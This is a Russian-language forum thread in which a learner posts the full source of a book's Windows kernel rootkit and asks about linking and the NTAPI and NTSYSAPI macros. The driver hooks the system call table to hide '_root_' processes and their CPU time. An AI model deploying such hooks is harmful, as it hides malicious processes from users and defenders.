Всем доброго времени суток! Я начал изучать написание Rootkit"ov. И прошу помочь мне в этом деле более разбирающихся людей. Вся помощь может заключаться лишь в истолковании некоторых строчек кода, которые я не смог понять... Базовые знания по руткитам, а также примеры черпаю из такой известной книги как: "ROOTKITS, Subverting the Windows Kernel By: Greg Hoglund and Jamie Butler", но не по англ. версии, так как с английским не сильно у меня(щас собираюсь подналечь и на его обучение), а по русскому его аналогу. PS1: Если от меня будут исходить иногда тупые вопросы, то прошу строго не судить ибо только учусь - "все приходит со временем". PS2: Возможно решения моих проблем поможет и другим новичкам, которые столкнутся с такими или похожими. PS(модераторам): Если есть возможность - перенесите пожалуйста мою тему в раздел WASM.OS.KERNEL ибо в этой придется долго ждать ответом на интересующие вопросы. Заранее спс... И так начнем. Первых вопросов будет немного, а если точнее, то их будет всего два. Ниже я привожу исходный код драйвера, по которому мне не понятно два момента - остальное все понятно: Code (Text): // BASIC ROOTKIT that hides processes // ---------------------------------------------------------- // v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com) // v0.3 - Added defines to compile on W2K, and comments. Rich // v0.4 - Fixed bug while manipulating _SYSTEM_PROCESS array. // Added code to hide process times of the _root_*'s. Creative // v0.6 - Added way around system call table memory protection, Jamie Butler (butlerjr@acm.org) // v1.0 - Trimmed code back to a process hider for the book. #include "ntddk.h" #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; }; struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only struct _SYSTEM_THREADS Threads[1]; }; // Added by Creative of rootkit.com struct _SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; }; NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; // Added by Creative of rootkit.com LARGE_INTEGER m_UserTime; LARGE_INTEGER m_KernelTime; /////////////////////////////////////////////////////////////////////// // NewZwQuerySystemInformation function // // ZwQuerySystemInformation() returns a linked list of processes. // The function below imitates it, except it removes from the list any // process who's name begins with "_root_". NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS ntStatus; ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus)) { // Asking for a file and directory listing if(SystemInformationClass == 5) // The type of system information to be queried.The permitted values are a subset of // the enumeration SYSTEM_INFORMATION_CLASS,described in the following section. хз что это :) { // This is a query for the process list. // Look for process names that start with // '_root_' and filter them out. struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { //DbgPrint("Current item is %x\n", curr); if (curr->ProcessName.Buffer != NULL) { if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12)) { m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart; if(prev) // Middle or Last entry { if(curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta; else // we are last, so make prev the end prev->NextEntryDelta = 0; } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward (char *)SystemInformation += curr->NextEntryDelta; } else // we are the only process! SystemInformation = NULL; } } } else // This is the entry for the Idle process { // Add the kernel and user times of _root_* // processes to the Idle process. curr->UserTime.QuadPart += m_UserTime.QuadPart; curr->KernelTime.QuadPart += m_KernelTime.QuadPart; // Reset the timers for next time we filter m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } prev = curr; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } } else if (SystemInformationClass == 8) // Query for SystemProcessorTimes { struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation; times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart; } } return ntStatus; } VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("ROOTKIT: OnUnload called\n"); // unhook system calls UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation ); // Unlock and Free MDL if(g_pmdlSystemCall) { MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); } } NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) { // Register a dispatch function for Unload theDriverObject->DriverUnload = OnUnload; // Initialize global times to zero // These variables will account for the // missing time our hidden processes are // using. m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; // save old system call locations OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)); // Map the memory into our domain so we can change the permissions on the MDL g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // Change the flags of the MDL g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); // hook system calls HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation ); return STATUS_SUCCESS; } Впрос №1: От куда импортируется эта таблица? Code (Text): __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; и почему если я изменяю переменную с KeServiceDescriptorTable на KeServiceDescriptorTable123 - выбивает ошибку Code (Text): 1>interceptssdt.obj : error LNK2001: unresolved external symbol __imp__KeServiceDescriptorTable123 1>objchk_wxp_x86\i386\MYDRIVER.sys : fatal error LNK1120: 1 unresolved externals Впрос №2:: Что делают(дают) константы NTSYSAPI и NTAPI? И для чего они нужны? Единственное, что понял, они связаны с импортом. Code (Text): NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength );
Может рановато-с в ядро лезть. Да тем более с руткитами, которые по идее пишут люди которые окромя стандартных техник ядерного программир-я владеют несколько большим багажом знаний о внутренностях ОС - и сначала разобраться с языком С и какой-нибудь IDE например MSVS?
C ASM, C/C++ разобрался уже давно... Также есть базовые теоретические знания программирования драйверов, поэтому хочу закреплять и увеличивать знания в программировании - на примерах руткитов, так как это интересная область.
Строчка, которую ты указал - директива компилятора указывающая на то, что импортируемый символ будет браться из внешнего модуля. При линковке линкер просматривает внешние ссылки (одна из них KeServiceDescriptorTable) и генерирует либо entry в таблице импорта, либо добавляет код из obj. В твоем случае линкер находит символ из ntoskrnl.lib и создает запись в таблице импорта результирующего PE-файла. Исходя из этой теории, если ты напишишь KeServiceDescriptorTable123 его нн окажется в библиотеке импорта (lib) и линкер укажет на unresolved-символ. Эти предпроцессорные константы описываются в ntdef.h: Code (Text): #define NTAPI __stdcall - конвенция вызова - указание компилятору какой код генерировать при вызове функции. Code (Text): #define NTSYSAPI __declspec(dllimport) все тот же импорт, можно было написать выше Code (Text): NTSYSAPI ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
Так как не заметил ответа BlackParrot, то порылся сам в заголовочных файлах. Вырезки найденного приведены ниже. Code (Text): // begin_winnt begin_ntndis #if ((_MSC_VER >= 800) || defined(_STDCALL_SUPPORTED)) && !defined(_M_AMD64) #define NTAPI __stdcall #else #define _cdecl #define NTAPI #endif // // Define API decoration for direct importing system DLL references. // #if !defined(_NTSYSTEM_) #define NTSYSAPI DECLSPEC_IMPORT #define NTSYSCALLAPI DECLSPEC_IMPORT #else #define NTSYSAPI #if defined(_NTDLLBUILD_) #define NTSYSCALLAPI #else #define NTSYSCALLAPI DECLSPEC_ADDRSAFE #endif #endif // end_winnt end_ntndis Code (Text): #if (defined(_M_IX86) || defined(_M_IA64) || defined(_M_AMD64)) && !defined(MIDL_PASS) #define DECLSPEC_IMPORT __declspec(dllimport) #else #define DECLSPEC_IMPORT #endif
BlackParrot Отдельное вам большое спасибо за потраченное время на объяснение, ответ самый простой и развернутый! )))